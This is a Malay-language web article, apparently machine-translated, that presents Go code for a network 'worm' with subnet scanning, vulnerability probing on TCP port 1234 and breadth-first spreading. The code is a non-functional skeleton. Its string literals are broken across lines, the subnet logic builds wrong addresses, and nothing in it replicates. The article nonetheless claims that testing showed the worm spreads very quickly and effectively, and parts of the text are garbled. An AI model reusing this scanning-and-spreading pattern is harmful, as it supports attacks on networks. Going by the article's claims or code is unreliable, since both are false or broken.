Golang melaksanakan virus cacing

Dalam beberapa tahun kebelakangan ini, orang ramai telah memberi lebih banyak perhatian kepada isu keselamatan rangkaian, dan cecacing juga telah menjadi topik yang sangat membimbangkan. Worm merebak dengan cepat dan boleh menjangkiti sebilangan besar komputer dengan cepat, menimbulkan ancaman keselamatan yang serius kepada rangkaian. Untuk menangani masalah ini, kita boleh menggunakan bahasa golang untuk menulis cacing mudah untuk mengesahkan kelajuan penyebaran dan kuasa pemusnahnya.

Pertama, kita perlu memahami cara cacing berfungsi. Cacing ialah virus komputer yang mereplikasi sendiri dan menyebar sendiri yang biasanya merebak dalam rangkaian komputer Setiap kali ia menjangkiti komputer, ia menyebarkan salinannya sendiri ke komputer lain, dengan itu mencapai kesan penyebaran. Oleh itu, masalah utama cacing ialah cara menjangkiti dan merebak dengan cepat. Seterusnya, kami akan menggunakan bahasa golang untuk menyiapkan tugasan ini.

Pertama, kita perlu menulis fungsi utama untuk memulakan penyebaran cacing. Dalam contoh ini, kami akan menggunakan protokol TCP untuk jangkitan. Di sini, kami akan menggunakan hos tempatan sebagai titik permulaan dan menghantar permintaan jangkitan kepada hos yang disambungkan kepadanya. Permintaan jangkitan awal boleh dihantar ke program sebagai parameter baris arahan, contohnya:

go run worm.go 192.168.1.100

Dalam fungsi utama, kita perlu memasukkan parameter dari baris arahan, mengesahkan alamat IP titik permulaan, dan hantar permintaan Khusus untuk mengesan sama ada ia terdedah, kodnya adalah seperti berikut:

func main() {
    if len(os.Args) < 2 {
        fmt.Printf("Usage: %s ip
", os.Args[0])
        return
    }
    ip := os.Args[1]
    fmt.Printf("Starting worm from: %s
", ip)

    // check if target host is vulnerable
    if !isVulnerable(ip) {
        fmt.Printf("%s is not vulnerable
", ip)
        return
    }
    fmt.Printf("%s is vulnerable
", ip)
    
    // start worm
    worm(ip)
}

Atas dasar ini, kita boleh menulis dua fungsi ialahVulnerable dan worm untuk pengesanan jangkitan dan penyebaran masing-masing.

Fungsi isVulnerable digunakan untuk mengesan sama ada alamat IP yang dihantar terdedah kepada jangkitan. Dalam contoh ini, kami menganggap hos sasaran mendengar port TCP tertentu dan boleh bertindak balas kepada permintaan yang ditentukan pengguna, jadi ia boleh ditentukan untuk terdedah kepada jangkitan. Oleh itu, dalam fungsi isVulnerable, kita perlu menghantar permintaan yang telah ditetapkan ke port TCP hos sasaran untuk mengesan sama ada ia terdedah kepada jangkitan. Jika hos sasaran bertindak balas kepada permintaan dengan betul, ia dinilai terdedah kepada jangkitan, jika tidak, ia dinilai kurang terdedah kepada jangkitan. Kod pelaksanaan khusus adalah seperti berikut:

func isVulnerable(ip string) bool {
    conn, err := net.Dial("tcp", ip+":1234")
    if err != nil {
        return false
    }
    defer conn.Close()

    request := "HELLO
"
    _, err = conn.Write([]byte(request))
    if err != nil {
        return false
    }

    response := make([]byte, 1024)
    n, err := conn.Read(response)
    if err != nil {
        return false
    }

    return strings.HasPrefix(string(response[:n]), "WELCOME")
}

Dalam fungsi isVulnerable, kami menggunakan fungsi net.Dial untuk mewujudkan sambungan TCP dan menghantar permintaan tersuai kepada hos sasaran. Jika sambungan berjaya diwujudkan dan respons yang betul diperoleh, benar dikembalikan, jika tidak palsu dikembalikan.

Seterusnya, kita perlu menulis fungsi cacing untuk merealisasikan penyebaran virus cacing. Dalam contoh ini, kami menggunakan algoritma carian luas pertama yang mudah untuk melaksanakan penyebaran. Proses pelaksanaan khusus adalah seperti berikut:

func worm(ip string) {
    queue := []string{ip}
    visited := make(map[string]bool)
    visited[ip] = true

    for len(queue) > 0 {
        current := queue[0]
        queue = queue[1:]

        fmt.Printf("Infecting %s
", current)

        // infect target host
        infect(current)

        // find new hosts to infect
        hosts := getHosts(current)
        for _, host := range hosts {
            if _, ok := visited[host]; !ok {
                queue = append(queue, host)
                visited[host] = true
            }
        }
    }
}

Dalam fungsi ini, kami menggunakan baris gilir untuk menyimpan hos untuk diproses Semasa program berjalan, baris gilir terus berkembang, dan setiap kali hos berada di hadapan daripada baris gilir dikeluarkan untuk memproses jangkitan, dan pada masa yang sama menambah jiran hos yang tidak dijangkiti ke baris gilir untuk meneruskan proses jangkitan.

Antaranya, fungsi infect digunakan untuk menjangkiti hos sasaran:

func infect(ip string) {
    conn, err := net.Dial("tcp", ip+":1234")
    if err != nil {
        return
    }
    defer conn.Close()

    request := "INFECTED
"
    conn.Write([]byte(request))
}

dan fungsi getHosts digunakan untuk mendapatkan senarai jiran yang tidak dijangkiti hos sasaran:

func getHosts(ip string) []string {
    hosts := []string{}

    for i := 1; i <= 254; i++ {
        current := fmt.Sprintf("%s.%d", strings.TrimSuffix(ip, ".1"), i)
        if isVulnerable(current) {
            hosts = append(hosts, current)
        }
    }

    return hosts
}

Dalam fungsi getHosts, kami Dengan melintasi semua alamat IP dalam subnet tempat hos semasa berada, pengesanan jangkitan dilakukan satu demi satu Jika alamat IP terdedah kepada jangkitan, ia akan ditambahkan ke senarai jiran yang tidak dijangkiti dan dikembalikan.

Melalui gabungan kod di atas, kami telah menyelesaikan pelaksanaan virus cacing dalam bahasa golang. Melalui ujian dan pengesahan, kami dapat dengan mudah mendapati bahawa program ini merebak dengan sangat cepat dan sangat berkesan. Oleh itu, dalam aplikasi praktikal, kita mesti memberi perhatian untuk mencegah serangan virus komputer tersebut, terutamanya keselamatan penyebaran dalam persekitaran rangkaian, untuk memastikan keselamatan dan kestabilan sistem komputer.

Atas ialah kandungan terperinci Golang melaksanakan virus cacing. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!